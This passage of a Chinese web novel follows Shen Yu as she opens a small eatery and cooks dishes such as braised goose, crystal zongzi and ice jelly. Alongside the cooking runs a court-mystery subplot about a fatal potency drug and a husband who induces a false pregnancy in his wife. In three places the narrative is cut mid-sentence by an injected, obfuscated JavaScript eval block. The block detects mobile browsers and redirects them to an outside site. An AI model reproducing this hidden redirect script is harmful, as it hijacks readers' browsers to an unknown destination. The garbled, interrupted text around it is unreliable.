沈鱼被逗笑，“对，银钱。”她教阿莓说话已经有了些成果，阿莓能简单的说些词句了。 沈鱼也这两日也不打算摆摊了，先把店铺收拾出来。她去木匠那定制了些桌椅板凳，碗筷也需要添置。又买了一口大铁锅，打算在门前新起一个灶台。 小店墙壁没什么破损，沈鱼就不重新粉刷了，不然还得晾几天才能用。堂前用竹帘隔了两桌之地，算是雅间。 沈鱼现在已经有了接近25000+的积分，就没省着花了。 上门的工人沈鱼每日三餐招待好了，收工那天这些工人肉眼可见得圆润了不少，有些人还意犹未尽，直说着让沈鱼以后有活尽管找他们。 这几日别的倒是没什么，只那铁锅炖的大鹅，鲜美异常。 沈鱼同往常一样出门回来，身后的阿莓扛了个大铁锅。本来铁匠铺的人打算帮沈鱼送回来，但又新来了生意走不开。 阿莓扛起锅就走，如履平地，沈鱼惊讶之余又提高了她力气的上限。 从邱府拿来的那只鹅再不吃就要坏了，沈鱼想着两人也吃不完，正好给师傅们加个餐。 那只鹅足有八斤重，这样的大鹅用大铁锅炖起来才爽快。 沈鱼处理好大鹅，先用冰糖炒了个糖色，加入一些蜂蜜，用刷子将炒好的糖色均匀刷在大鹅身上。 腌制半个时辰同时风干，让糖色附着，大鹅被染成蜜色，泛着油光。 再下油锅炸了，锅里啪啦作响，炸至鹅皮表面微硬。阿莓时不时探头沈鱼把她推开，“小心油溅起来烫伤你。” 炒制香料是决定味道的关键，加入香叶，八角，大蒜，生姜，洋葱，冰糖，酱油等下锅炒香，沈鱼去胡市时还发现有胡椒在卖，但与后世一样，贵得吓人。 炒好香料，就加水与料酒，然后把大鹅放入，便不用管了，只管看着炉子，莫让它灭了就行。 这样炖煮上一个时辰，便可出锅了。 汤汁被收尽，上面漂着闪亮亮的油花，因是整只炖的，大鹅还是完整的状态，鹅形漂亮，满堂皆香。 沈鱼给口水流了一地的阿莓撕了只鹅腿，剩下的剁开了给师傅们送去，闻到这么香的味道，师傅们哪还有心思继续干活，纷纷停了下来，吃饱喝足再说。 经过一个时辰的炖煮，大鹅早已经软糯脱骨，油脂全被炖出了鹅身，入口一点也不油腻，只有满嘴的肉香。焦褐酥脆的鹅皮包裹着鲜爽多汁的鹅肉，一口下去，汤汁迸发入喉，竟舍不得吞了！ 几个人分一整只大鹅，连汤汁都没留下。 这些泥瓦匠收工时，仍对那大鹅的味道念念不忘。 沈鱼挑了个良辰吉日，又让阿莓去买了两挂鞭炮，用竹竿挑了挂在外面热热闹闹地放了，这便算是开张了。 因着前几日鱼汤面的事，不少人翘首以盼等着沈鱼开门呢。 阿莓到底不够机灵，沈鱼又招了个跑堂的，名叫崔四，很是有眼力见。 那日来应征，唯有他对阿莓的存在没有表现出异样，积极推销自己，“掌柜的，您叫我四儿就行了。” 这条街上不少人都认得他，知道家里有个生病的老娘，是个孝子，也向沈鱼说了几句好话，沈鱼才留下了崔四。 开张这天，崔四正准备扯开了嗓子招揽，沈鱼却说不用。 崔四不解，“掌柜，您别看里头坐地差不多了，盛京除了像百味楼这般的大酒楼，小食肆门口都是有人揽客的。” 沈鱼还是摇了摇头，笑起来道，“你且等一会。” 随后便看见阿莓从后厨拎了个大桶出来，桶上盖着盖子，不知道里面是什么。 阿莓把木桶里的东西倒入门口的锅里，崔四瞧着那黑乎乎的东西，不知沈鱼卖的什么关子。 等炉子热起来，卤水的香味开始显现，沈鱼往里加了些鸡蛋，鸡货，鸭货和豆腐干。 阿莓时不时地掀开锅盖，香味一阵一阵的勾人，再加上这灶台又在外面，过路的行客哪受得了这个香味，拐了道也得朝这儿来。 坐在里面的闻到了香味，也会问上一句外面煮的什么，这么香。这时崔四就上前，说是些卤味。 卤鸡蛋，卤豆干算不上贵，客人问了价，多数会添上一个，如此便又多了一笔进项。 崔四收钱收得手软，直呼，“掌柜妙计。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981879|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >待过了吃饭的时辰，店里才冷清了许多。 钱氏带着孙子儿媳来捧场了，沈鱼去迎。 钱氏夸赞道，“小鱼儿这食肆可不得了了，钱姨是挤都挤不挤不进来呢。”她客满时来过一回，确实是没地方下脚。 沈鱼谦虚，“钱姨您永远是我第一个客人。”准备的菜都卖完了，沈鱼只得端了些卤味上来。 钱氏儿媳尝了个卤鸡蛋，“沈妹妹这鸡蛋果然好滋味，竟还有些肉香。” 怀哥儿抱着个鸡腿啃得正香，他正在换牙期，缺了两颗门牙显得很是喜感。 钱氏瞥了一眼旁边的阿莓，“小鱼儿怎么也用上昆仑奴了？” 沈鱼将那日见闻说了说，钱氏与钱氏儿媳听了都有些不落忍，她们不是贵族，没使唤过奴仆，自然见不得这种不把人当人的行为， 阿莓知道她们在说她，一笑露出两排大白牙来，看上去憨憨的。 钱氏见她离远了些去擦洗桌椅了，低声对沈鱼道，“小鱼儿记得做菜时，还是要避着她些的。”钱氏儿媳也附和。 沈鱼了解钱氏的担忧，时下人有句老话，非我族类，其心必异。这是钱氏根深蒂固的老思想，沈鱼也懒得去解释，只点点头。 送走了钱氏一家，沈鱼总算有时间算算账了，她不关心赚了多少银钱，只想知道有多少满意值。 因为提示音太烦，沈鱼开了静音模式，没有再实时查看。 装修店铺花了不少银钱，就没多少能买食材了，今天用的大多数都是和系统用满意值兑的，一下子花去5000多，着实有些肉疼。 【满意值总数30000+】 加了5000多！ 这开食肆就是比摆摊赚的多，沈鱼眉开眼笑，但也知道不能得意忘形，毕竟这是第一天，以后应该没这么多满意值，也没这么多客人了。 不过她不急，眼光要放长远，小食肆开起来了，有了稳定的收入和满意值的来源。她就可以专心想办法“投喂”江砚白了，毕竟他才是决定了她能不能完成任务的关键。 正如沈鱼所料，晚间的客人便少了许多，崔四还有些不开心，想要出去招揽人。 沈鱼把他拦住，“这个时辰了，你这么吵闹，小心被武侯抓走说你扰民。”崇安坊是居民区，大多人都正回家歇息，这么叫嚷难免会惹人厌烦。 再好吃的东西，心底有了芥蒂，味道也会不一样。这也是沈鱼一开始不让崔四叫的原因。 崔四只能作罢。 沈鱼莞尔一笑，“怎么你倒是比我这个掌柜还着急？不管怎么样，缺不了你的工钱。” 阿莓在一旁道，“工钱，买大包吃。”她如今学说话还像个孩子，时常重复沈鱼的话。 “哈哈。”沈鱼被逗笑。 沈鱼也给阿莓开了工钱，她只知道工钱能买许多好吃的，是好东西。 昨天沈鱼做了回猪肉大葱包子，阿莓一气吃了五个，而包子也荣登为她最爱的食物榜首，今天早上还一直念叨着。 日暮时分，沈鱼关了门，清点了邻里送来的贺礼，江砚白与黎辞舟都托人送来了开张礼，只是人却没到，应该是真的很忙。 黎辞舟送的是两盆盛开的芙蓉，沈鱼猜测是他夫人准备的。江砚白的则是一只憨态可掬的猫儿铜摆件，猫儿的一个爪抓着一枚钱币。 沈鱼瞧着有趣，古代版招财猫吗？ 11. 端午水晶粽（捉虫） 早间不大有客，崔四在门前打盹，沈鱼也就随他去了。 沈鱼将黎辞舟送的两盆芙蓉摆在门口，也算添了几分喜色。 “这芙蓉花摆在这儿甚是相宜。”女子柔柔的声音传来。 沈鱼回头，只见两位清丽娘子各带了个小丫鬟，正往这来。 两位娇客都梳了妇人头，一位着妃色对襟，另一位穿了件湘色芙蓉花的齐胸襦裙，看衣料，是富贵人家出来的。 沈鱼迎着两人往里，“两位娘子请。” 但这两位沈鱼怎么看，都不像来吃饭的。尤其是那位着妃色对襟的，那双眼睛就没移开过沈鱼，把她从头打量到脚，来回好几遍。 即使被沈鱼察觉，也丝毫不收敛自己。 若非对方是个漂亮的娘子，沈鱼定是要生气的。 蒋氏拉了下葛涵双的袖子，示意她低调些，葛涵双看人的眼神才没有方才那么热切。 蒋氏莞尔道，“沈掌柜不识得我，你曾给我送过鱼汤面。” 沈鱼这才知道眼前这位是黎辞舟的夫人，“从前黎大人总是念叨自家夫人，如今可算是见到了，真真是个美人呀。” 蒋氏笑了，“他满嘴胡吣，沈掌柜不必听他言语。” 然后又为沈鱼介绍，“这是葛姐姐，是江少卿的嫂嫂。” 沈鱼向葛涵双见礼，“葛夫人。” 葛涵双扶了沈鱼的手，笑咪咪道，“沈妹妹不必如此客气，我比你虚长几岁，唤我声姐姐便好。” 沈鱼想着这江砚白的嫂嫂倒是与他不同，自来熟得很。 两人落座点了些糕饼，沈鱼与她们闲聊。 葛涵双自然不是为了吃才来，自那日知道了有沈鱼这么个人，和周氏一商量，周氏便坐不住了。 还是葛涵双存着些理智，安抚周氏，“砚白可能都还未向人家挑明，您这急匆匆过去，人家小娘子被吓到就不好了。” 周氏觉得有理这才作罢，让葛涵双先来相看相看。正巧蒋氏也要来沈记，两人便一道了。 葛涵双见了人，自是哪里都满意，沈鱼样貌不俗，举手投足都落落大方，虽是商人，却没半点子铜臭气味。 江家不拘家世，况且江砚白到了这个年纪，周氏早就没什么标准了。 蒋氏主要是来感谢沈鱼的，“那日的鱼汤面可是帮了我大忙。” 她三个月前刚生了个哥儿，黎辞舟是寒门子弟，还只是个七品官，在盛京勋贵遍地这地方，自是不够看的。 如今还带着一家子住在官舍，生了孩子蒋氏是从未想过要请乳母的，也怕孩子与自己不亲。 只是蒋氏体弱，生产时便吃了很大的苦头，产后不调，竟是没有奶水。通草汤猪蹄汤不知喝了多少，也没什么效果。 那日沈鱼送了鱼汤面来，鲫鱼汤味美鲜香，蒋氏难得胃口不错全吃完了。当天夜里觉得胸口涨得慌，点灯起来一看，竟是来奶了。 沈鱼不知一碗鱼汤面还有这么个意外收获，不敢邀功，“兴许是你喝的药起作用的。” 蒋氏却摆摆手，固执地认为是鱼汤面的功劳。 几人相谈甚欢，可聊着聊着，沈鱼便觉得有些不大对劲了。 “沈妹妹平时喜欢哪家的胭脂呀？” “吃食是喜欢甜的还是咸的，可有什么忌口？” “平日里常穿素色还是艳丽些的颜色呀？” 这位葛姐姐，怎么像是在打听她的喜好？ 没来得及等她细想，外面突然传来了一阵嘈杂。 崔四被吵醒，赶紧跑出去看看发生了何事。不一会儿就回来了，他喝了口水，“永兴侯世子三七，外面在烧三七，撒开路钱呢。” 这是习俗，人死后三七要请人做法，燃着香绕城一周，是为烧三七。再撒些纸钱给阎王小鬼开路，这样往生之路上便顺畅些。 说起这事，蒋氏与葛涵双都忍不住可怜彭氏。她们到底是官眷，与彭氏有些接触。 烧三七的队伍遥遥的过来了，中间捧着牌位的便是彭氏了。 沈鱼一眼就看到了彭氏，一双狐狸眼眼眶红红，面上没什么血色，一身孝服，素雅秀丽，眼角那颗泪痣为她平添几分娇弱媚态，更显娇怜。 蒋氏叹了口气道，“她也是可怜，自己还有着身孕呢。”她初为人母，更共情些。 葛涵双却道，“她就是个傻姑娘，当初非要嫁给田元武，谁劝都不听。”葛涵双在闺阁中与彭氏不算陌生。 “田元武在外面花天酒地，对着她却是瞒得死紧，也就她傻，信了田元武的甜言蜜语。” 葛涵双话虽不中听，语气却也惋惜。 沈鱼望着门外，“各人有各人的命数。” 被这件事一打岔，几人也没了闲聊的心思，蒋氏家里孩子离不得人，葛涵双赶着回去和周氏交代，都没留多久。 过几日就是五月初五了，端午这样的时节，沈鱼自然要准备起来。 后世总对甜粽咸粽争论不休，还常引发南北大战，争得面红耳赤，也是谁也说服不了谁，沈鱼作为南方人，是坚实的咸粽拥护者。 但照顾盛京人的口味，甜粽也是必不可少的。 豆沙的，莲蓉的，碱水的，蜜枣的，火腿的，咸蛋黄鲜肉的，五花八门的粽子。 沈鱼打算卖个礼盒装，四个甜的，四个咸的为一组，装在定制的镂空木盒里，八个口味各不相同也省得挑了。 包装好看，价也相对提上去了，也就不心疼定制礼盒的钱了。 沈鱼包粽子，阿莓也想帮忙，可她手笨，怎么都包不成形粽叶倒是弄坏了好几张，还是放弃，灰溜溜去烧火了。 沈鱼也没做太多糯米粽，这时节家家户户都会包粽子，出来买的人并不多，卖不上价，她就是占了些后世的便宜，做的种类多罢了。 她想卖的，是西米做的水晶粽子。 从口感上来说西米粽没什么特别的，甚至还不如普通的粽子，但这水晶粽子，就是卖个好看。 水晶粽子大多用紫薯，绿豆或者颜色鲜亮的水果做馅，晶莹剔透的粽子包裹着紫色，绿色的馅来，惑着人想要切开一探究竟。 一排排水晶似的尖角小粽，能一眼看清里面悬浮的馅料，显得更可口了。 小孩子和年轻的小娘子那经受得了这种可爱粽子的诱惑，见着了都挪不动腿。就算是郎君，为着家里的夫人小姐，也得装上一盒带回去。 “沈娘子好巧思，五色糕后还有五色粽，给我来上一盒。” 沈鱼帮忙装盒，“不过是运气好，在胡市买到了种新米。”西米自然是和系统兑换的，这里是没有的，但大齐富饶，盛京里的人对新鲜事物的接受还是很快的。 沈鱼只管把一切都往胡市推，至于别人能不能找到，就不关她的事了。 水晶粽子卖得脱销，沈鱼连夜又做了一批。 崔四现在已经成为沈鱼的头号粉丝了，对自家掌柜佩服的是五体投地。 “掌柜，明日浦江那边有赛龙舟，要不要去逛逛。” 端午的客人也少了许多，闭店一日也不是什么大事。沈鱼还没见过古代的赛龙舟呢，自然是想去的。 “行，大家都放个假，一起去看赛龙舟。” 阿莓不懂，笑得却欢，“赛龙舟。” 街上节日的意味渐浓，卖五色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981880|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绳的货郎多了不少，沈鱼应了个景给自己和阿莓各买了一条，不过原本的绳结她不喜欢，自己解了编了个如意结。 阿莓得了新东西跑去崔四面前炫耀，崔四故意不接茬，到头来生气的还是她自己。 沈鱼笑着看他们闹，也觉得有趣。 有人欢喜也有人愁。 惠儿端午也放了假，回崇安坊来与家人过节，手里拿了府里发的节礼神情却恹恹的。 沈鱼在街上看见了她，招呼她来吃粽子，惠儿没精打采的。 “这是怎么了？”看出她有心事，沈鱼问道。 惠儿叹了一口气，“唉，沈姐姐，我是替我家娘子不值，郎君他……他在外头有人了。” 沈鱼闻言有些讶异，这几天前不还在夸邱钰，今天就变了。 “自娘子有孕后，郎君就没再去风月之地了，我还当他是知道这样会让娘子多想，谁知道却偷偷安置了个外室。” 沈鱼低声宽慰，这惠儿就是粉丝塌房了。一时受不了打击，接着就开始愤怒。 “我家娘子真是快把眼睛都哭瞎了呀，要不是顾忌这肚子里的孩子，怕是要闹和离。娘子前日还说，肚子里的孩子在动了，可……” 本朝民风开放，和离再嫁不算什么新鲜事。 惠儿接着说，“那狐媚子也真是好颜色，长了一双狐狸眼不说，眼角下还生了颗勾人的痣，一脸的狐媚像，我家娘子找去的时候，还柔柔地给她见礼呢。” 沈鱼没见过人，眼前却不由自主浮现了一个人的模样，这也太巧合了吧。 惠儿脱粉回踩得很彻底，“娘子气坏了，还不小心扭伤了脚，郎君却说她没有容人的量，这……这叫什么话呀！” 沈鱼给惠儿顺着气，一起痛斥邱钰，“男人惯会为自己找借口，就算管不住身子。” 邱钰算个不怎么光明磊落的渣男了，在家装得夫妻恩爱，却在外头偷吃，但他名声也不好，这是图什么呢？ 不愧是田元武的酒友，蛇鼠一窝，都不是好东西。 惠儿痛骂了一通后，心情好了不少，沈鱼送了她几个水晶粽子吃，有了美食的安慰就更好了。 惠儿起身要走，身上却不小心掉下一个小盒子来。 “稍等，东西掉了。”沈鱼替她捡起来，闻到了一股浓重的药味。 惠儿道谢，“呀，娘子的膏药差些落下了，谢谢沈姐姐。” “等等，你说这膏药，是你家娘子的？” 惠儿一歪头，“是呀，娘子扭伤用的。” 不，这不对，沈鱼在里头闻见了一股非常浓重的麝香味，甚至没有丝毫遮掩。 沈鱼又问，“这是谁开的药，她知道你家娘子有孕吗？” 惠儿奇怪，“当然知道呀，府医开的药，我家娘子的喜脉就是他整治的呀。沈姐姐，你问这做什么？” 沈鱼愣了愣，还是提醒了一句，“哦，就是孕妇用药是有些禁忌的，怕开药的大夫不清楚。” “这是不用担心的，我家娘子用了三日并无不适，况府医在府里已经数年了，医术自然是顶好的。” 就是这才奇怪呀，府医既然知道余氏有孕了，又怎么会开含有这么重的麝香的药，麝香是活血化瘀的好药，可孕妇对此是大忌。 沈鱼想了许久，想到惠儿走了也没想通，即使是外敷，经验老道了大夫给孕妇用药还是会避开麝香，而且余氏也无不适之处，这就很耐人寻味了。 还有惠儿提到的余氏说肚子里的孩子在动，可余氏怀孕还只有三个多月，照理说不应该感受到胎动的。 一个又一个的谜团，让沈鱼辗转难免，子时才歇下。 12. 薜荔冰粉 浦江码头热闹，人头攒动，摆摊子的人自然闻风而动。 崔四推着摊子，直呼受骗，“掌柜不是说好放个假嘛，怎么换了个地方卖吃食。” 沈鱼也不是故意的，昨夜里睡不着，干脆就起来做了些冰粉，此时天热吃，是正好的。 冰爽嫩滑的冰粉，配上芋圆，红豆，牛乳冻，花生碎，最后再来上一勺红糖，那滋味能吃下满满一大碗。 眼下赛龙舟还没有开始，江边堤岸已经围满了人，还有官兵在维持秩序。 赛龙舟是民间富商组织的，找了官府背书，参加的都是当地又名的商铺，布行的衣锦阁，珠宝店的金雀斋，餐饮的百味楼，药坊的春安堂等。 沈鱼催促着崔四快找一个好位置，沈鱼生怕慢了冰粉就卖不完了，毕竟这东西放不久。 崔四紧赶慢赶，总算占到了好位置，在片树荫下头，如此便不担心晒着了，且这里地势高，也能瞧得见江上风景。 冰粉是新鲜玩意，卖相又好，小娘子走到江边渴了累了，来上一碗，不说疲累尽消，胸口燥热能去不少。 也有不少文人雅客路过，时下人喜欢作诗，行也作诗，坐也作诗，这江畔自是不能放过。 崔四听见了，在一旁评头论足，“那位相公相貌不错，可诗句也太拿不出手了些。” 沈鱼笑着摇摇头，“你可低声些，叫人家听见了，来打你，我可不认你是我家伙计。” “打你，不认。”阿莓活像个捧哏。 这两人一个嘴皮子不停，一个是个闷葫芦，不知为何就是爱掐。 又有人来买冰粉，沈鱼低头一看，是个熟人，“小郎君怎么一个人，莫要走丢了。” 江明禹手遥遥一指，“丢不了，随我叔父一起来的。”江明禹又和她道歉，说是上次的食盒没有及时给她送回去，实是他的过错。 沈鱼顺着他指的方向望去，江砚白一身天青色直缀，腰间系了枚暖玉，一副世家公子的模样。他身旁有个和他年岁差不多的男子，是个生面孔，眉宇俊秀，有些书卷气。 沈鱼递给江明禹前，又给他添了一勺，懂事的小孩就是招人喜欢。 沈鱼眉眼弯起，明明人就在不远的大理寺上衙，却总见不到人，今日总算是出现了。 江砚白由远及近，见到沈鱼，眼神不自主的落到她手里的冰粉上。 他已经停了药许久，味觉的恢复是否真的与沈鱼做的食物有关，就看这碗晶莹剔透的东西了。 “江少卿可要来一碗？” 江砚白点了点头。 旁边丰敬看了他一眼，“莫不是这就是你曾提过的沈娘子？”江砚白上次说怀疑沈鱼做的吃食能让他恢复味觉，丰敬觉得他不仅味觉坏了，还坏了脑子。 如今见到沈鱼，丰敬想着不是江砚白恢复了味觉，怕是他心里甜如蜜吧。 “这位郎君是？”沈鱼把加了料的冰粉递给他，也多加了一勺。 江砚白接过，“一个大夫。” 丰敬不乐意了，把他挤到一边，“在下丰敬，是春安堂的大夫。” 沈鱼弯了弯美目，“这赛龙舟，也有你家的队伍吧。” “正是，沈娘子卖的什么，也给我来上一碗。”丰敬本不愿来人多的地方，可作为少东家不来不合适。 沈鱼也给他做了一碗，丰敬端了在手里，端详甚久才入口，“沈娘子这可是用薜荔籽做的？” 沈鱼挑了挑眉，“正是，丰郎君好眼力。” 丰敬哈哈一笑，“薜荔根茎可入药，我不过是闻着味道有些像罢了，从不知它还能做吃食。” 沈鱼心情不错，“在大夫眼里是药，在厨子眼里便是食材了呀。” 丰敬端着碗，低声对江砚白耳语，“你看上的这位沈娘子，当真是个妙人。” 江砚白眼刀飞过来，丰敬低头吃冰粉不看他。 方才冰粉入口，江砚白几乎可以确定，沈鱼做的东西，真的能帮他恢复味觉。 他尝到了更重的味道。 今日的沈鱼依旧是短打薄衫，没梳什么发髻，只用布巾束起秀发绑成一根马尾，发丝垂落在耳畔。她笑吟吟地，杏眸弯起，色色可人。 江砚白望着沈鱼出神，落到旁人眼里，便品出些其他的来了。 丰敬轻咳两声，砚白这盯人也太不加掩饰了。 小孩子精力旺盛，江明禹吃完了冰粉便闲不住了，江砚白明显是个不会带孩子的。 冰粉也卖得差不多了，沈鱼就叫了阿莓和崔四陪江明禹去堤上逛了。 江砚白乐得自在，嘱咐了句小心些。 “江少卿今日怎么有空？”沈鱼天天在沈记门口也没守到这只兔子，出了门倒是自己寻过来了。 江砚白慢条斯理地吃着，“案子破了。” “破了？那永兴侯世子到底怎么死的？”沈鱼一脸好奇。 案子破了便不再是秘密，告诉她也无妨。 江砚白缓缓道，“中毒而死。” “什么毒？”沈鱼刨根问底。 若对面是个男子，江砚白就说了，只是这毒，实在不好对着个小娘子说。 不过想到那日沈鱼的语出惊人，江砚白还是开口道，“治疗隐疾的药，对于常人来说是补药，可对于田元武确是封喉的毒药。” 依旧是隐晦的说法，结合上次的线索，沈鱼猜了个八/九不离十。 找毒药这差事，江砚白是交给丰敬去做的，不过因为他之前没有告诉丰敬那田元武是个天阉，丰敬为此走了不少弯路。 丰敬还埋怨他，“怎么不早说？” 江砚白不懂医术，哪里知道这有些补药对田元武这样的人会是毒药。 后来又细查了查，才知道这“补药”乃是田元武自己买的。 田元武天生有残，但他总认为那是种病，能治好的，听人说青虚观有种神药，能令人持久不衰。 他便花了重金求得了那药，那日在进他那小妾门的时候，吃下了药，才最终导致了身亡。 事情真相，如此戏剧，毒药是自己吃下的，当真好笑。 但那药到底是从别人手里买的，江砚白带人抓了买药的老道，按贩卖毒药给他定了罪。 盛京城中用过那药的人不少，江砚白没法堵全部人的嘴，想必不久之后，田元武的身体状况就瞒不住了。 沈鱼听完，多问了一句，“那彭氏肚子里的孩子是谁的？”她倒不是八卦，只是想确定她的猜测，而且这个结果对另一件事也很重要。 江砚白没有瞒她，“这个人你认识。” “邱钰？” 江砚白淡笑，微微颔首。 这事就更不难查了，彭氏怀孕三月多，而三个多月前，田元武约邱钰入府喝酒。邱钰这人是个软脚虾，江砚白还没用什么手段，他就全招了。 说是田元武灌醉了他，又将他带到了彭氏房间，而此时的彭氏已经被田元武下了药，他浑浑噩噩才犯下了错，一股脑将错都推到了田元武的身上。 而他走时彭氏还没有醒，她并不知道那日在房里的不是她的郎君。 沈鱼嗤笑，真正醉了的人是干不了那事的，而且那酷似彭氏的外室可没有人逼他收。 沈鱼最看不惯这种人，“总有人为自己犯下的错粉饰太平，倒不如真小人来的坦荡。” 江砚白闻言心头一震，“沈娘子总是这样通透。” 田元武酒肉朋友众多，怎么偏挑上了邱钰呢？不止因为他官小好拿捏，还有每次见到彭氏时那迷离的眼神。 田元武就是抓住了邱钰这个心理，有把握他不会将此事宣扬出去。邱钰运气不错，彭氏一朝有孕。 可人是会变的，田元武想隐藏自己天阉的事实，证明自己是个正常男人，否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981881|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则不会认下小妾的野种。但他看着妻子怀着别人的孩子，脸上还洋溢着幸福的笑，他又开始不甘了。 毕竟他对彭氏还是有几分真心的，不然当初也不会甜言蜜语哄了来，他心里渐渐愤怒，想要成为一个正常男人的意愿到达顶峰。 他四处托人打探，才终于知道青虚观有这么一种神药，服下后，连八十岁的老翁也能夜御数女。 田元武迫不及待的把药找回来，殊不知却是把自己送进了鬼门关。 沈鱼还有一件事情不明，正好丰敬这个大夫在这里，她问，“丰郎君，若是妇人有孕，扭伤了脚，一般大夫可会开含有麝香的药？” 丰敬轻轻摇头，“不会，麝香是化瘀的好药，对孕妇却是大忌，即使是外敷，也会避开麝香。” 丰敬说的肯定，沈鱼又问，“那有孕三月有余的妇人，可会感到胎动？” 丰敬还是摇头，“虽说个人体质不同，可三月有余的孩子还未长成，至少也要四个月。” 沈鱼还未问完，“那可有药物，能使人假孕并感受到胎动呢？” 丰敬正色看她，“自是有的，但这些药逆天而行，对服药者的身体损害极大，怎么有谁在用这药吗？” 江砚白好像猜到了什么，“你在怀疑什么？” 沈鱼眉头微皱，“我也不大确定。” “说说看。”江砚白语气温润，带着安心的感觉。 毕竟关系到人命，沈鱼还是说了，“我猜测邱钰的夫人余氏可能是假孕，而且她自己并不知情。” 沈鱼又说了从惠儿那里知道的佐证。 江砚白脸色不虞，拉着丰敬就要走，“还请沈娘子将阿禹送回。” “砰”地一声，那厢热闹的赛龙舟开锣，江畔无数的人呐喊，热火朝天，一片节日的喜气，却有两人悄然离开现场，往隆义坊而去。 事实证明沈鱼的猜测没错，丰敬给余氏诊脉，发现她的脉象极乱，所谓胎动其实是肚中胀气。 假孕药已经使得她腹中有了积水，若不尽快排出恐怕有性命之忧。 江砚白审了府医，府医很快交代，一切都是邱钰的指使。 江砚白立即抓捕邱钰，他此举已于投毒无异。 原来邱钰早就猜到了田元武的秘密，但毕竟不是田元武的亲生骨肉，他怕田元武不会真心对待孩子。 便想出了让余氏假孕这条毒计，届时他会让余氏与彭氏一同出游，想办法让俩人早产，再抱来一个孩子佯装是彭氏所生，而自己的孩子自然就接回了他的身边。 邱钰在大理寺洋洋得意地说着自己的计策，丝毫不觉得又什么不对。 江砚白质问他，“你从未想过这会对你夫人造成什么样的伤害吗？”丰敬说过，若是用药时间长了，余氏必死无疑。 邱钰无所谓的说，“女人嘛，再娶就是了，反正我哄两声，便都乖乖的了。” 歹毒至此，当真枉为人。 江砚白不想再听他说话，将人收押。 两个各怀鬼胎的男人，害了两个无辜的女人。 余氏知晓真相，当即昏死过去，醒来后，眼中没了神采，孩子是假的，心爱的丈夫要杀她。余氏回了娘家，向邱钰提了和离。 余家人对邱钰没留半分情面，要追究到底，邱钰的仕途算是到头了。 比起余氏，彭氏也没好到哪里去，怀着别人的孩子，婆家是没法子待了。可是她又做错了什么，她什么都不知道，何其无辜。 满心欢喜以为怀了丈夫的孩子，她吃了那么多的苦药，就为了怀上一个孩子，可到头来，根源竟在丈夫的身上。 丈夫还亲自将她送给了别的男人，从前的温柔细语，如今想来都成了讽刺。 不抛弃你的，永远是亲人。 彭老爷彭夫人亲自接了她回家，彭氏看着眼前老迈的父母，跪地掩面，泣不成声。 13. 小米蒸排骨 时日久了，门前炖者卤味也引不来新客了。崔四看在眼里，急在心里。 沈鱼却并不着急，如今店小，再多客人的容纳不下了，这样正好。 不过确实该研究些新菜式了，蒸菜香照样能吸引人。 沈鱼让阿莓去买了半扇猪排骨来，时下人更喜欢吃羊肉，猪排骨并不很贵，真是有眼不识好肉。 有阿莓在，处理猪排骨一点也不费劲。 沈鱼做菜是有些强迫症的，猪排骨也一样，每段都要剁成食指长短。 这可为难坏了阿莓，剁了两根才找到了感觉，之后下手就有准了。 沈鱼端着那些被砍的长一截短一截的排骨，“这些就归你和崔四了，品相差是差了些，做好了不影响味道。” 阿莓瞬间觉得剁排骨是件美差了，再来一扇，她还能剁！ 沈鱼对自己人向来大方，崔四得知掌柜要做新菜，特意磨蹭到了晚间留下来吃夕食。 平常都是沈鱼准备了菜，他带回去和他娘一起吃，今天他想吃个热乎的。 后世排骨的做法可谓五花八门，炸排骨，蒸排骨，炖排骨，而且百搭，怎么做都好吃。 像沈鱼这般有厨艺天赋的人，从来想不到那些黑暗料理都是哪里来的。她时常困惑，按照步骤做菜，最多也就是味道没那么好，哪能不好变成乌漆嘛黑呢？ 既然是要做蒸菜，选择就只剩下了蒸排骨。 蒸排骨做法也有许多，沈鱼就选了个简单的小米蒸排骨。 沈鱼做菜时并不避着人，崔四懂些规矩，没有进厨房，而阿莓是根本看不懂，她只知道沈鱼总是把这个黑的，那个黄的，倒在一起，做出来的东西就可好吃了。 做小米蒸排骨时，排骨需得在生肉的时候腌了，香味进去了，这上锅一蒸就全跑出来了。 腌肉的酱料自是好吃的关键，沈鱼下了蒜末，姜末，豆豉，豆瓣酱，酱油炒香，放了豆瓣酱便不必在放盐了，咸味已经足够。 沈鱼也尝试着自己做豆瓣酱，但时间还不够，做出来的不能用，还是和系统兑来的快捷。 这酱料一炒，就是爆香，崔四以为好了，一股脑冲进了厨房，差点没和阿莓撞上。 却见沈鱼捧着一碗酱上头漂着红油，排骨还是生的。崔四吸了吸鼻子，正打算退出去。 沈鱼却道不必，她没什么需要遮掩的。 